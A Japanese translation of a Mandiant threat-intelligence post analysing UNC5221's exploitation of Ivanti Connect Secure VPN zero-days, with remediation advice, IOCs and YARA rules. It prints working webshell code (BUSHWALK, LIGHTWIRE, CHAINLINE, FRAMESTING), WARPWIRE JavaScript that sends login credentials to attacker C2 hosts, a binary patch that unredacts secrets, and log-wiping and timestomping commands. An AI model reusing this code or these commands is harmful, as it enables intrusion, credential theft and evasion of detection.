最先端の脅威 - Part 2:Ivanti Connect Secure VPN ゼロデイ・エクスプロイトの調査
Mandiant
※この投稿は米国時間 2024 年 1 月 31 日に、Google Cloud blog に投稿されたものの抄訳です。
2024年1月12日、Mandiantは、Ivanti Connect Secure VPN(CS、旧Pulse Secure)およびIvanti Policy Secure(PS)アプライアンスに影響を与える2つの影響力の大きいゼロデイ脆弱性、CVE-2023-46805およびCVE-2024-21887の詳細を示すブログ投稿を公開しました。2024年1月31日、IvantiはCSとPSデバイスに影響を与える2つの追加脆弱性、CVE-2024-21888とCVE-2024-21893を公表しました。
この脆弱性により、認証されていない脅威アクターは、アプライアンス上で任意のコマンドを昇格した権限で実行することが可能になります。既報の通り、Mandiant は、現在 UNC5221 として追跡されている中国関連のスパイ行為者と疑われる脅威行為者によって、2023 年 12 月 3 日からこれらの脆弱性がゼロデイで悪用されていることを確認しています。
Mandiantは、UNC5221およびその他の未分類の脅威グループによる、2つの脆弱性の公開後の広範な悪用活動を確認しました。Mandiantは、勧告後の活動のかなりの部分が自動化された手法で実行されていると評価しています。
このブログでは、UNC5221やその他の脅威グループが、インシデントレスポンス活動全体を通じて、侵入後の活動中に採用した戦術、技術、手順(TTP)について詳しく説明します。また、UNC5221 が使用している新しいマルウェア ファミリや、以前に特定されたマルウェア ファミリに対する亜種についても詳述します。このブログ記事に記載されている活動には、1つまたは複数の関連グループが関連している可能性があることを認識しています。UNC5221以外のグループも、これらのツールの1つまたは複数を採用している可能性があります。
これらの観測は、Mandiantのインシデント対応業務、Ivantiとの協力、および当社のパートナーを通じて裏付けられています。Mandiantはまた、ネットワーク防御者のために、侵害の指標(IOC)、YARAルール、およびハードニングガイドを含む追加の推奨事項を提供しています。
注:Ivanti 社は、1月31日より第 1 弾のパッチをリリースし、今後数週間にわたり追加パッチを順次提供する予定です。Ivanti社では、パッチを待っているお客様には、緩和策を適用し、外部のIntegrity Checker Tool (ICT)を実行して悪用の証拠をチェックし、KBの記事に従って製品のアップデートを入手し続けることを推奨しています。
エクスプロテーション後の活動アップデート
緩和策のバイパス
最近、BUSHWALKとして追跡されるカスタムウェブシェルの展開につながる緩和バイパス技術が確認されました。悪用に成功すると、2024年1月10日にIvantiが提供した初期の緩和策をバイパスすることになります。現時点では、Mandiantは、緩和策バイパス活動は高度に標的化された限定的なものであり、アドバイザリー後の大規模な悪用活動とは異なると評価しています。
注:外部 ICT は、新しいウェブシェルの存在を検知することに成功しました。私たちは、BUSHWALK をデプロイした後、脅威アクターがその活動の痕跡をクリーンアップし、緩和策バイパス技術によってシステムをクリーンな状態に戻すのを観察しました。ICT はアプライアンスの現在の状態のスナップショットであり、脅威行為者がアプライアンスをクリーンな状態に戻した場合、脅威行為者の活動を必ずしも検出することはできません。さらに、パッチは緩和策バイパスに対処し、修正します。
このキャンペーンで観測された他のウェブシェルと同様に、BUSHWALKはPerlで記述され、正規のCSファイルであるquerymanifest.cgi
に埋め込まれています。BUSHWALKは、脅威アクターにサーバーへのファイルの読み書き機能を提供します。
BUSHWALK はウェブリクエストのplatform
パラメータが SafariiOS
. の場合、悪意のある Perl 関数 validateVersion
を実行します。BUSHWALKはBase64とRC4を使ってWebリクエストのcommand
パラメータにある脅威行為者のペイロードをデコードし、復号化します。
sub validateVersion {
my ($rawdata) = @_;
if ($rawdata ne ''){
$rawdata =~ s/ /+/g;
my $param0 = MIME::Base64::decode($rawdata);
my $key = substr($param0, 0, 32);
$key = RC4("<REDACTED>", $key);
my $data = substr($param0,32);
$data = RC4($key, $data);
my @param1 = split("@",$data);
my @action = split("=",$param1[0]);
if ($action[1] eq 'change') {
my $changeData = (split("=",$param1[1]))[1];
changeVersion($changeData, $key);
}
elsif ($action[1] eq 'update'){
my $fname = (split("=",$param1[1]))[1];
my $versionData = (split("#",$param1[2]))[1];
updateVersion($fname, $versionData);
}
else {
print CGI::header(-type=>"text/plain", -status=> '404 Not Found');
print "error";
}
exit;
}
else{
return;
}
}
図1:BUSHWALK実行のエントリーポイント
復号化されたペイロードは、ウェブシェルがサーバーからファイルを読むべきか、サーバーにファイルを書き込むべきかを決定します。
復号化されたペイロードにchange
が含まれている場合、BUSHWALKはchangeData
関数を呼び出し、侵害されたアプライアンスから任意のファイルを読み取ります。マルウェアはバッファからファイルパスを抽出します。その後、指定されたパスにあるファイルを開いて読み取り、提供されたキーを使用してRC4でファイル内容を暗号化します。
sub changeVersion
{
my ($u_time,$key) = @_;
my $o_fd = popen(*DUMP, $u_time, "r");
my $ts;
print CGI::header();
while(<DUMP>) {
$ts = $ts.$_;
}
$ts = RC4($key, $ts);
my $tsc = MIME::Base64::encode_base64($ts);
print $tsc;
close(*DUMP);
}
復号化されたペイロードにupdat
が含まれている場合、BUSHWALKはupdateVersion
関数を呼び出し、任意のファイルをサーバーに書き込みます。バッファからファイルパスとファイルに書き込むデータを抽出します。次に、この新しいファイルデータが Base64 復号化され、指定されたパスのファイルに書き込まれます。
sub updateVersion
{
my ($fname, $strbuf) = @_;
$strbuf = MIME::Base64::decode($strbuf);
CORE::open(my $file, ">>",$fname) or return undef;
syswrite($file, $strbuf);
close($file);
print CGI::header();
print "over";
}
ライトワイヤー変種
Mandiantは、VPNゲートウェイの正当なコンポーネントであるcompcheckresult.cgi
に自身を挿入するLIGHTWIREウェブシェルの亜種を確認しました。
新しいサンプルは、最初のブログ投稿で説明したオリジナルのLIGHTWIREサンプルと同じGETパラメータを使用しています。Mandiantは、利用可能なウェブログ、未割り当ての領域、およびメモリイメージ内でこれらのパラメータを含むGETリクエストを検索することを推奨します。
/dana-na/auth/url_default/compcheckresult.cgi?comp=comp&compid=<obfuscat
ed command>
LIGHTWIREの新しいバージョンは、異なる難読化ルーチンを備えています。まず、文字列のスカラー変数を$useCompOnly
に代入。次に、Perlのtr
演算子を使って文字列を一文字ずつ変換します。その後、鍵がBase64復号化され、入力されたリクエストをRC4復号化するために使用されます。最後に、発行されたコマンドはeval
を呼び出して実行されます。
my $useCompOnly = "<REDACTED>";
$useCompOnly =~ tr/<REDACTED>/<REDACTED>/;
eval{my $c=Crypt::RC4->new(decode_base64($useCompOnly));my
$d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;}or
do{$Main::remedy1 = "Compatibility check: $@";}
最初のブログ記事で紹介したオリジナルのLIGHTWIREサンプルには、より単純な難読化ルーチンが含まれています。これはRC4オブジェクトを初期化し、発行されたコマンドを復号化するために直ちにRC4オブジェクトを使用します。
eval{my $c=Crypt::RC4->new("<REDACTED>");my
$d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;
CHAINLINEウェブシェル
アプライアンスを最初に悪用した後、MandiantはCHAINLINEとして追跡しているカスタムWebシェルを活用するUNC5221を特定しました。CHAINLINEは、Ivanti Connect Secure Pythonパッケージに組み込まれたPython Webシェルバックドアで、任意のコマンド実行を可能にします。
CHAINLINEはCAV Pythonパッケージの以下のパスで確認:/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py
。これは、WIREFIREウェブシェルをサポートするために変更された同じPythonパッケージです。
#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
from flask_restful import Resource, reqparse
from flask import request
import subprocess
RC4_KEY = "<REDACTED>"
def crypt(command: str):
tmp = list(command)
for i in range(len(tmp)):
tmp[i] = chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)]))
tmp = "".join(tmp)
return tmp
class Health(Resource):
def get(self):
return {"message": "method not allowed"}, 201
def post(self):
parser = reqparse.RequestParser()
parser.add_argument('stats', type=str)
parser.add_argument('rates', type=str)
args = parser.parse_args()
command: str = args.stats
command =
crypt(base64.b64decode(command.encode(encoding="UTF-8")).decode
(encoding="UTF-8"))
result = subprocess.getoutput(command)
result =
base64.b64encode(crypt(result).encode(encoding="UTF-8")).decode
(encoding="UTF-8")
return {"message": 'ok', "stats": result}, 200
既存のファイルを修正するWIREFIREとは異なり、CHAINLINEはhealth.py
という新しいファイルを作成しますが、これはCAV Pythonパッケージの正当なファイル名ではありません。このファイル名や関連するコンパイルされたPythonキャッシュファイルの存在は、CHAINLINEの存在を示すかもしれません。
UNC5221は、RESTエンドポイント/api/v1/cav/client/health
でCHAINLINEのアクセスをサポートする新しいAPIリソースパスを登録しました。これは、悪意を持って作成されたHealth
APIリソースをインポートし、/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py
内のFLASK-RESTful Api
オブジェクトでadd_resource()
クラスメソッドを呼び出すことで達成されました。
図8は、CHAINLINEをサポートするために変更された関連ファイルの抜粋です。
図8:CHAINLINEをサポートするように変更されたPython CAVパッケージ
FRAMESTINGウェブシェル
Mandiant は、FRAMESTING として追跡している追加のウェブシェルを特定しました。FRAMESTING は Ivanti Connect Secure Python パッケージに組み込まれた Python Web シェルで、任意のコマンド実行を可能にします。
def post(self):
import zlib
import simplejson as json
try:
dskey='<REDACTED>'
dsid=request.cookies.get('DSID')
data=None
if dsid and len(dsid)>=64:
data=dsid+'=='
else:
data = zlib.decompress(request.data)
data=json.loads(data).get('data')
if data:
import base64
from Cryptodome.Cipher import AES
if dskey not in globals():globals()[dskey]={}
globals()[dskey].pop('result',None)
aes=AES.new(dskey.encode(), AES.MODE_ECB)
result={'message':'','action':0}
exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache':globals()[dskey]},locals())
result=globals()[dskey].get('result',result)
return result, 200
except:
pass
図9: FRAMESTINGのPOSTリクエストを処理するために変更されたcategory.py
FRAMESTINGはCAV Pythonパッケージの以下のパスで確認:/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py。
これはWIREFIREとCHAINLINEのウェブシェルをサポートするために変更されたPythonパッケージであることに注意してください。
インストールされると、脅威者は REST エンドポイント /api/v1/cav/client/categories
で FRAMESTING ウェブシェルに POST リクエストでアクセスできます。正規のcategories
エンドポイントはGETリクエストしか受け付けないことに注意してください。
ウェブシェルは攻撃者からコマンドを受け取るのに二つの方法を使います。まず、現在の HTTP リクエストからDSID
という名前のクッキーの値に格納されたコマンドを取得しようとします。クッキーが存在しないか期待される長さでない場合、リクエストの POST データ内の zlib
データを解凍しようとします。最後に、FRAMESTINGは復号化されたPOSTデータをPythonのexec()
文に渡して、追加のPythonコードを動的に実行します。
DSID
は、Ivanti Connect SecureアプライアンスがユーザーのVPNセッションを維持するために使用するクッキーの名前でもあることに注意してください。FRAMESTINGはネットワークトラフィックに紛れ込むために同じクッキー名を使用していると思われます。
ZIPLINE分析の更新
前回のブログ投稿以降、MandiantはZIPLINEパッシブバックドアに関する追加分析を完了しました。ZIPLINEは、コマンド&コントロール(C2)を確立するために使用されるカスタムプロトコルの認証を確保するために、広範な機能を利用しています。このセクションでは、ZIPLINEが活用する暗号、認証、データプロトコルについて取り上げます。
暗号技術
ZIPLINEはAES-128-CBCを使用して双方向でデータを暗号化します。対応する暗号化キーと復号キーは、サーバーから送信されたキーマテリアルから導き出され、マルウェアに埋め込まれたハードコードされたデータと結合されます。結合後、SHA1ハッシュアルゴリズムが使用され、20バイト長の暗号的に強力な配列が生成され、その最初の16バイトがAES-128キーとして使用されます。
攻撃者が受け取る鍵の素材は以下のように定義される:
typedef struct tag_key_material_t {
uint8_t decryption_keydata[20];
uint8_t encryption_keydata[20];
} key_material_t;
その後、20バイト長のkeydataがハードコードされた文字列と組み合わされ、バッファ上でSHA1ハッシュが計算されます。
SHA1ハッシュの最初の16バイトを切り詰めたものが、AES-128鍵とHMAC鍵の両方に使われます(HMACについては次のセクションで詳しく説明)。
復号化および暗号化処理のためのAES初期化ベクトル(IV)の開始値は、decryption_keydata
およびencryption_keydata
配列の最初の16バイトです。
一旦生成されると、復号鍵と暗号化ラウンド鍵(それぞれ11個のラウンド鍵、 インデックスゼロのオリジナルのAES-128鍵を含む)、およびAES-128アルゴリズ ムの現在のIVは、プロセスのライフサイクルの間、メモリに留まります。このため、鍵およびIVをプロセスのメモリから採取することが可能です。ZIPLINE で使用されるプロトコルはステートフルであるため、メッセージの復号化および認証の順番を間違えることはありません。さらに、パッシブバックドアを含むプロセスの寿命は比較的短く設計されており、処理されたコマンドのたびに終了し、侵害されたホスト上で実行されているマルウェアのエコシステムによってリスポーンされる可能性が高くなります。
認 証
ZIPLINEはSHA1ハッシュアルゴリズムとともにHMAC(Hash-based Message Authentication Code)を使用してデータの完全性を強制します。HMACキーは対応するAES-128キーと同じである(2つあることに注意:1つは復号化用、もう1つは暗号化用)。ZIPLINEのHMACデザインは、0から始まる現在のメッセージのインデックスを示す転送ステートを使用。受信または送信されたパケットごとにインデックスがインクリメントされ、その値が認証メカニズムの一部としてメッセージに付加されます。そのため、順番が狂ったメッセージは認証できず、C2サーバとの通信が終了してしまいます。
図11は、HMAC計算に参加する部分を色分けして示したメッセージの例。
図11:メッセージの例
図 11 では、32 バイト長のメッセージが C2 サーバから受信されています。次に ZIPLINE は最初の 16 バイト(青)を復号化し、まだ暗号化されているメッセージの 2 番目の部分(赤)を追加し、最後に 4 バイト(黒)を追加します。次に HMAC アルゴリズムは図 11 のバッファの SHA1 ハッシュを計算し、送受信されるメッセージの最後に付加される SHA1 ハッシュと比較します。
データ・プロトコル
ZIPLINEは、カスタムステートフルバイナリプロトコルを使用してC2サーバと通信を行います。通信は、C2サーバーが侵害されたホストに接続し、図12に示すような構造のメッセージを送信することから始まります。
typedef struct tag_header_t {
char signature[21];
struct tag_key_material key_material;
} header_t;
署名はSSH-2.0-OpenSSH_0.3xx
という文字列で、その後にAES-128とHMAC鍵生成用の データを含む構造体が続くと予想されます(「暗号化」を参照)。次に、C2は暗号化されたメッセージを送信する。暗号化されたメッセージは、復号化されると、図13に記述された構造に従います。
typedef struct tag_message_t {
uint16_t len; /* big endian number */
uint8_t data[len]; /* variable size data */
uint8_t hmac_sig[20];
} message_t;
メッセージ構造は柔軟に設計されていますが、このマルウェアのインスタンスは最初のメッセージに長さ0x10を指定することを期待しています。さらに、復号化後のデータは図14の通りでなければ、マルウェアは接続を終了します。
図14:復号化されたメッセージ構造
図14の復号化されたメッセージでは、サイズ(ビッグエンディアン数であることに注意) は最初の2バイト(青)で示され、その後に16バイトの配列(赤)が続きます。不一致の場合、ZIPLINE は接続を終了し、それはプロセスの終了にもつながります。黒で示されたxx
バイトは非連続的なパディング値であり、yy
値(オレンジ)はメッセージのHMAC署名を指定します。
最初のメッセージが完全性チェックをパスすると、マルウェアはまず図14のバッファを暗号化し、それをC2サーバーに送り返します。このメッセージはmessage_t.len
が1に等しいと予想されます。このメッセージには(パディングとHMACシグネチャを除けば)意味のある1バイトが含まれており、これは実行されるコマンドのインデックスです。
表 1: ZIPLINE コマンド ID
メッセージは前のものと同じようにフォーマットされ、最初の3バイトだけが意味を持ちます(長さとコマンド)。
その他の調査結果
ZIPLINEはそれ自身を2回フォークし、子プロセスで継続するように設計されている。また、setsid
コマンドを使用してプロセスの新しいセッションを作成し、制御端末を効果的に切り離す。さらに、このマルウェアは、現在の接続に関連付けられたハンドルを除いて、開いているハンドルを閉じる。マルウェアはalarm
コマンドを2、3回(3秒遅れて)実行するため、web
プロセスはSIGALRM
シグナルを処理できなければならない。さらに、web
プロセスは指定されたコマンドを実行した後、それ自体を終了します。これは、着信トラフィックをリッスンし続けるために、侵害されたホスト上の ZIPLINE マルウェアのエコシステムによってリスポーンされることを意味します。
WARPWIREのバリエーション
Mandiant は、私たちの対応業務や野放しになっている WARPWIRE の複数の新しい亜種を確認しました。これらの亜種の主な目的は、ハードコードされた C2 サーバーに平文のパスワードとユーザー名を流出させることです。
これらの亜種における主な変更点は、ハードコードされた C2 にどのように認証情報を送信するかです。特定された亜種の大部分では、GET リクエストは POST パラメータまたはボディのいずれかにクレデンシャルを送信する POST に置き換えられていますが、Mandiant は依然として GET リクエストを利用する亜種も特定し、window.location.href
を送信値として含めるようになりました。
特定された亜種数および関連する脆弱性の大量悪用の疑いから、Mandiant は現在のところ、すべての WARPWIRE 亜種を UNC5221 と断定していません。図 15-18 に、一部の WARPWIRE サンプルの抜粋を示します。
var ivanti = document.frmLogin.username.value;
var login = document.frmLogin.password.value;
var action = window.location.href;
if (ivanti!=="" && login!=="") {
var ivanti = btoa(ivanti);
var login = btoa(login);
var action = btoa(action);
const url = "https://duorhytm[.]fun/";
var xhr = new XMLHttpRequest();
xhr.open("POST", url, false);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var params ="ivanti="+ivanti +"&login="+ login+"&action="+action;
xhr.send(params);
var a = document.frmLogin.username.value;
var b = document.frmLogin.password.value;
var c = window.location.href;
if (a !== "" && b !== "") {
var aEncoded = btoa(a);
var bEncoded = btoa(b);
var cEncoded = btoa(c);
const url = "https://clicko[.]click/?a=" + aEncoded + "&b=" + bEncoded
+ "&c=" + cEncoded;
var xhr = new XMLHttpRequest();
xhr.open("GET", url, false);
xhr.send(null);
var uParam = document.frmLogin.username.value;
var pParam = document.frmLogin.password.value;
if (uParam && pParam) {
var xhr = new XMLHttpRequest();
const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php`
const body = `h=${btoa(document.location.hostname)}&u
=${btoa(uParam)}&p=${btoa(pParam)}`;
xhr.open('POST', url, true);
xhr.setRequestHeader
('Content-type', 'application/x-www-form-urlencoded');
xhr.send(body);
var ivanti = document.frmLogin.username.value;
var login = document.frmLogin.password.value;
var action = window.location.href;
if (ivanti!=="" && login!=="") {
var ivanti = btoa(ivanti);
var login = btoa(login);
var action = btoa(action);
const url = "https://cpanel.netbar[.]org/assets/js/xml.php";
var xhr = new XMLHttpRequest();
xhr.open("POST", url, false);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var params ="ivanti="+ivanti +"&login="+ login+"&action="+action;
xhr.send(params);
}
オープンソース・ツールの利用
インシデント対応活動を通じて、Mandiant は Ivanti CS アプライアンス上の侵入後の活動をサポートするために利用される複数のオープンソースツールを特定しました。これらのツールは、限られた被害者環境内での内部ネットワーク偵察、横移動、およびデータ流出に関連していました。
表 2:確認されたオープンソースツーリング
その他のTTP
コンフィギュレーションとキャッシュ盗難
Mandiant は、CS アプライアンスに内蔵されている dsls
コマンドを使用して、CS アプライアンスを最初に悪用した後に、実行中のコンフィギュレーションとキャッシュをダンプしたことを示す証拠を確認しました。結果の出力は、ディレクトリ内のランダムに生成された 10 文字の CSS ファイルを装った tar
アーカイブに保存されます:/home/webserver/htdocs/dana-na/css/
。
侵害されたアプライアンスで実行され、キャッシュとコンフィギュレーションをCSSディレクトリにダンプする以下の一連のコマンド(図19)を確認しました。
export LD_LIBRARY_PATH=/lib:/home/lib;
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;
echo ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY
9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC
kKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY
mQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ
ogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG
VuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL
mNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo
gcz0nbicKcHJpbnQocyxlbmQ9Jycp
|base64 -d|/home/venv3/bin/python;
chmod +x /tmp/tools;
/tmp/tools -S -R -B /vc >/tmp/test1.txt;
rm -rf /tmp/tools;
touch /tmp/testt -r /home/webserver/htdocs/dana-na/css;
mount -o rw,remount /;
tar czf /home/webserver/htdocs/dana-na/css/<REDACTED>.css /tmp/test1.txt;
rm -rf /tmp/test1.txt;
このコマンドシーケンスは、Base64エンコードされたPythonスクリプトを実行し、パッチが適用されたバージョンのdsls
バイナリ(/home/bin/dsls
)を/tmp/tools
に書き込みます。高度なレベルでは、パッチを適用したバイナリにより、dslsコマンドは通常冗長化される機密情報を表示できるようになります。図20にBase64デコードされたPythonスクリプトを示します。
from base64 import b64encode as e
f=open('/home/bin/dsls','rb')
c=f.read()
f.close()
p=c.find(bytes.fromhex('8dbd60ffffff'))
if p>0:
d=bytearray(c)
if d[p-2]==0x74:
d[p-2]=0xeb
f=open('/tmp/tools','wb')
f.write(d)
f.close()
s='f'
else:
s='i'
else:
s='n'
print(s,end='')
このスクリプトは、/home/bin/dsls
ファイル内のバイトシーケンス 0x8dbd60ffffff
を探します。これは、実行中の構成とキャッシュ情報を表示するために使用される、Ivanti Connect Secureアプライアンス上の正規の実行ファイルです。このバイト列が見つかった場合(p>0
)、ファイルの内容(c
)からバイト配列(d
)を作成し、さらに変更します。
次にロジックは、見つかったバイト列(p-2
)の2つ前のバイトが0x74
に等しいかどうかをチェックします。それが0x74
に等しい場合、そのバイトを0xeb
に置き換えます。最後に、スクリプトは変更されたバイト配列を/tmp/tools
に書き換えます。
バイナリの修正により、条件付きJMP
命令(0x74
)が無条件JJMP
MP(0xeb
)に変更されます。このパッチは、機密データの冗長化を担当する正規のdsls
バイナリのチェックをバイパスする実行フローを強制します。これにより、パッチを適用したバイナリは、通常<secure>
で出力される冗長化されたフィールドの値を表示できるようになります。
コマンドシーケンスは次のように続く:
/tmp/tools
(/home/bin/dsls
のパッチ版)を実行し、コンフィギュレーションとキャッシュを/tmp/test1.txt
にダンプする。/tmp/tools
を削除する。/home/webserver/htdocs/dana-na/css/
の変更タイムスタンプとアクセスタイムスタンプで空のファイル/tmp/testt
を作成する。これは後でCSSディレクトリを元のタイムスタンプでタイムストンプするために使用される。- ファイルシステムを読み書き可能に再マウントする。
- ダンプを
/home/webserver/htdocs/dana-na/css/
内のCSSファイルにアーカイブする。 /tmp/test1.txt
を削除する。
Mandiant は、脅威行為者によってサーバから設定とキャッシュダンプがダウンロードされた後、侵害の証拠を除去する努力を確認しました。図 21 のコマンドシーケンスは、CVE-2023-46805 および CVE-2024-21887 を悪用して発行されたものです。
rm -rf /home/webserver/htdocs/dana-na/css/<REDACTED>.css;
touch -r /tmp/testt /home/webserver/htdocs/dana-na/css;
rm -rf /tmp/testt;
echo > /data/var/dlogs/config_rest_server.log;
mount -o ro,remount/
コマンド・シーケンスは以下のようになる:
- ステージングされたコンフィギュレーションとキャッシュ・ダンプを削除する。
- CSSディレクトリを
/tmp/testt
の更新タイムスタンプとアクセスタイムスタンプでタイムストンプする。 - CVE-2023-46805およびCVE-2024-21887の悪用の試みを記録する
config_rest_server.log
ファイルを消去する。 - ファイルシステムを読み取り専用モードで再マウントし、元の状態に戻す。
さらに、コンフィギュレーションとダンプが以下のパスにある圧縮ファイルに保存されていることを確認しました。
/runtime/webserver/htdocs/dana-na/help/logo.gif
/runtime/webserver/htdocs/dana-na/help/login.gif
Ivanti 社は、キャッシュとコンフィギュレーションのダンプに起因するリスクを修復するための追加ガイダンスを発表しました。これには、ローカルアカウントの認証情報のリセット、APIキーのリセット、証明書の失効などが含まれます。
CAVウェブサーバーのログ流出
Mandiantは、/runtime/webserver/htdocs/dana-na/help/logo.gif
にステージされたCAVウェブサーバのログが流出した証拠を確認しました。このパスには合法的にogo.gif
は含まれていません。
/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;
/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;
cat /data/var/dlogs/cav_webserv.log|/usr/bin/base64>>/home/
webserver/htdocs/dana-na/help/logo.gif
このコマンドは、GIFヘッダーをlogo.gif
にリダイレクトし、/data/var/dlogs/cav_webserv.log
のBase64エンコードされた内容を同じファイルに追加します。
cav_webserv.log
には、CAV REST API の uWSGI が管理するウェブリクエストとログが含まれます。Mandiant は、関連する CAV Python パッケージに WIREFIRE、CHAINLINE、FRAMESTING などのウェブシェルが含まれるような複数の変更を確認しています。これらのウェブシェルへのリクエストはすべてこのファイルに記録されます。
ICT操作
システム内部の完全性チェックツールは、ファイルシステムに加えられた変更や追加を検知するのに役立ちます。Mandiantは、外部ICTが内部ICTに関連するPythonパッケージへの変更を検出した事例を特定しました:/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg
。
scanmgr.py
のコメントアウトされた1行がスキャナーの実行を無効にしていることを確認しました。
図23:scanmgr.pyでコメントアウトされたスキャナーの実行
さらに、Volexity社は2024年1月18日に、侵害されたIvanti Connect Secureアプライアンスの内蔵整合性チェッカー・ツールを改ざんするために利用された別の方法について詳述したブログ投稿を発表しました。
Mandiantは、/home/etc/manifest
にあるマニフェストファイルを変更することで、脅威行為者が内部ICTを改ざんしていることを確認しています。このファイルは、システム上で予想されるファイルのリストと、関連する SHA256 ハッシュを保持します。内部 ICT は、公開鍵を使用してマニフェスト・ファイルの署名を検証します。
場合によっては、脅威アクターがマニフェストファイルの新しいデジタル署名を作成できませんでした。これにより内部 ICT が失敗し、マニフェスト ファイルが不良であることを示すイベント ID SYS32042
がシステム イベント ログに生成されます。
完全性チェックツールに関連するイベントIDの全リストは表3のとおりです。
表3:完全性チェックツールのイベントID
システムログの消去
場合によっては、脅威アクターは、システムログをクリアするために、/home/bin/logClear.pl
という正規のシステムユーティリティを使用しました。この方法でシステムログを消去すると、消去されたログの種類ごとに管理イベントログにイベント ID ADM20599
が生成されます。Ivanti Connect Secure アプライアンスでは、6 つのシステムログを使用できます。
表4:システムログの説明
Mandiantは、イベントログ(log.events.vc0
)のイベントID ADM20599
を検索して、ログクリアの証拠を追跡することを推奨します。
アトリビューション(帰属)
Mandiantは、UNC5221が中国に関連するスパイ活動の脅威アクターであると中程度の確信を持って評価しています。Mandiantは、UNC5221が、情報公開の前後を問わず、中華人民共和国(PRC)が戦略的に関心を持つ幅広い業種を標的としていることを確認しており、初期の兆候として、ツールやインフラが、中国を拠点とするスパイ行為者と疑われる過去の侵入と重複していることを示しています。さらに、インシデント対応調査で特定された Linux ベースのツールには、複数の中国語版 Github リポジトリのコードが使用されています。前回のブログ記事で述べたように、UNC5221 は主に、中国を拠点とするスパイ行為者と思われる人物によるエッジインフラのゼロデイ悪用に関連する TTP を利用しています。
推奨事項
パッチの提供
Ivanti社は、Ivanti Connect Secureの特定バージョン向けのパッチの第一弾を2024年1月31日からリリースしています。残りのパッチは、複数のブランチとバージョンにまたがる3つの異なる製品に対して、時期をずらしてリリースされる予定です。
緩和策の適用
影響を受けるお客様は、ご使用のバージョンにまだパッチが提供されていない場合、直ちに緩和策をインストールしてください。本脆弱性対策をインストールすることで、将来的に 2 つの脆弱性が悪用されることを防ぐことができます。既存の侵害されたデバイスを修復したり、封じ込めたりすることを目的としたものではありません。
2024年1月20日、Ivantiは、ミティゲーションに悪影響を及ぼし、アプライアンスを脆弱な状態にする条件に関する詳細を発表しました。これは、Ivanti Neurons for Secure Access(nSA)またはPulse Oneを使用してアプライアンスに設定をプッシュしている顧客に影響します。Ivanti 社では、パッチがインストールされるまで、XML が適用されたアプライアンスへの設定のプッシュを停止するようお客様に推奨しています。
完全性チェッカーツール
Ivanti をご利用のお客様は、まず内部の整合性チェッカーツール(ICT)により、過去にヒットし たログを確認することをお勧めします。内部 ICT が結果を返さない場合、顧客は外部 ICT を実行する必要があります。MandiantとVolexityは、脅威アクターが検出を回避するために内部(内蔵)ICTを改ざんしようとしていることを確認しています。
対象となるお客様は、さらなる分析のために ICT 結果をIvanti 社と共有してください。それを踏まえ、Ivantiはアプライアンスが危険にさらされているかどうかを判断し、次のステップについての推奨事項を共有します。
パスワードのリセット
アプライアンスに設定されているローカルユーザのパスワードをリセットすることに加えて、Mandiantは、WARPWIRE認証情報窃取プログラムの影響を受けた組織に対して、マルウェアがアクティブであった期間中にアプライアンスに認証したユーザのパスワードをリセットするよう助言しています。また、IOCs セクションに記載されている WARPWIRE 認証情報窃取者の C2 アドレスへのトラフィックがないか、EDR テレメトリーおよびファイアウォールのログを検索することをお勧めします。
ハードニング・ガイド
Mandiantは、CVE-2023-46805、CVE-2024-21887、CVE-2024-21888、および CVE-2024-21893 の悪用に関連し、侵害されたと疑われる Ivanti Connect Secure (CS) VPN アプライアンスに対する修復および堅牢化の推奨事項を記載したガイダンス文書をリリースしました。
謝 辞
UNC5221によるCVE-2023-46805およびCVE-2024-21887の悪用の後における、Ivanti社の継続的なパートナーシップ、サポート、および透明性に感謝します。また、Mandiant Consulting、Intelligence、FLARE、Google TAGの各チームメンバーの協力なしには、この作業は不可能でした。
Indicators of Compromise (IOCs)
Host-Based Indicators (HBIs)
Network-Based Indicators (NBIs)
YARA Rules
rule M_Hunting_Webshell_BUSHWALK_1 {
meta:
author = "Mandiant"
description = "This rule detects BUSHWALK, a webshell written in Perl CGI
that is embedded into a legitimate Pulse Secure file to enable file transfers"
strings:
$s1 = "SafariiOS" ascii
$s2 = "command" ascii
$s3 = "change" ascii
$s4 = "update" ascii
$s5 = "$data = RC4($key, $data);" ascii
condition:
filesize < 5KB
and all of them
}
rule M_Hunting_Webshell_CHAINLINE_1 {
meta:
author = "Mandiant"
description = "This rule detects the CHAINLINE webshell,
which receives RC4 encrypted commands and returns the execution result"
md5 = "3045f5b3d355a9ab26ab6f44cc831a83"
strings:
$s1 = "crypt(command: str)" ascii
$s2 = "tmp[i] = chr(ord(tmp[i])" ascii
$s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii
$s4 = "class Health(Resource)" ascii
$s5 = "crypt(base64.b64decode(command.encode(" ascii
$s6 = "base64.b64encode(crypt(result)" ascii
$s7 = "{\"message\": 'ok', \"stats\": result}" ascii
condition:
filesize < 100KB and
any of them
}
rule M_HUNTING_APT_Webshell_FRAMESTING_result
{
meta:
author = "Mandiant"
description = "Detects strings associated with FRAMESTING webshell"
md5 = "465600cece80861497e8c1c86a07a23e"
strings:
